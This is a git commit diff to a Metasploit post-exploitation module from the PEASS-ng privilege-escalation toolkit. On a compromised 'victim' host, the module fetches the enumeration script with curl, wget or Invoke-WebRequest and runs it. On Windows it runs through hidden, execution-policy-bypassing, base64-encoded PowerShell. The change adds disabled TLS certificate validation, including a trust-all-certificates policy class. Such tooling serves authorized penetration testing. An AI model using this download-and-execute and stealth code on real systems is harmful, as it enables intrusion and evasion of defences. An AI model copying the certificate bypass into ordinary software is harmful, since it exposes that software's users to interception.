darnellkeith/PEASS-ng
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Update peass.rb

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Carlos Polop 2021-10-11 21:39:42 +01:00 committed by GitHub
parent 1826130a48
commit 988ef11d59
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1 changed files with 26 additions and 4 deletions
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30
metasploit/peass.rb
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@ -161,14 +161,16 @@ class MetasploitModule < Msf::Post
# Configure the download of the scrip in Windows
if session.platform.include?("win")
cmd = "$ProgressPreference = 'SilentlyContinue'; $#{ps_var1} = Invoke-WebRequest \"#{url_download_peass}\" -UseBasicParsing | Select-Object -ExpandProperty Content;"
cmd = "$ProgressPreference = 'SilentlyContinue';"
cmd += get_bypass_tls_cert()
cmd += "$#{ps_var1} = Invoke-WebRequest \"#{url_download_peass}\" -UseBasicParsing | Select-Object -ExpandProperty Content;"
# Configure the download of the scrip in unix
else
cmd = "curl -s \"#{url_download_peass}\""
cmd = "curl -k -s \"#{url_download_peass}\""
curl_path = cmd_exec("command -v curl")
if ! curl_path.include?("curl")
cmd = "wget -q -O - \"#{url_download_peass}\""
cmd = "wget --no-check-certificate -q -O - \"#{url_download_peass}\""
wget_path = cmd_exec("command -v wget")
raise 'Neither curl nor wget were found in victim, unset the SRVHOST option!' unless wget_path.include?("wget")
end
@ -188,6 +190,7 @@ class MetasploitModule < Msf::Post
# Transform to Base64 in UTF-16LE format
cmd_utf16le = cmd.encode("utf-16le")
cmd_utf16le_b64 = Base64.encode64(cmd_utf16le).gsub(/\r?\n/, "")
tmpout << cmd_exec("powershell.exe", args="-ep bypass -WindowStyle hidden -nop -enc #{cmd_utf16le_b64}", time_out=datastore["TIMEOUT"])
# If unix, then, suppose linpeas was loaded
@ -261,9 +264,28 @@ class MetasploitModule < Msf::Post
}
end
def get_bypass_tls_cert
return'
# Code to accept any certificate in the https connection from https://stackoverflow.com/questions/11696944/powershell-v3-invoke-webrequest-https-error
add-type @"
using System.Net;
using System.Security.Cryptography.X509Certificates;
public class TrustAllCertsPolicy : ICertificatePolicy {
public bool CheckValidationResult(
ServicePoint srvPoint, X509Certificate certificate,
WebRequest request, int certificateProblem) {
return true;
}
}
"@
[System.Net.ServicePointManager]::CertificatePolicy = New-Object TrustAllCertsPolicy;
'
end
def get_ps_aes_decr
# PS code to decrypt Winpeas
return '# Taken from https://gist.github.com/Darryl-G/d1039c2407262cb6d735c3e7a730ee86
return '
# Taken from https://gist.github.com/Darryl-G/d1039c2407262cb6d735c3e7a730ee86
function DecryptStringFromBytesAes([String] $key, [String] $iv, [String] $encrypted) {
[byte[]] $encrypted = [Convert]::FromBase64String($encrypted);
[byte[]] $key = [Convert]::FromBase64String($key)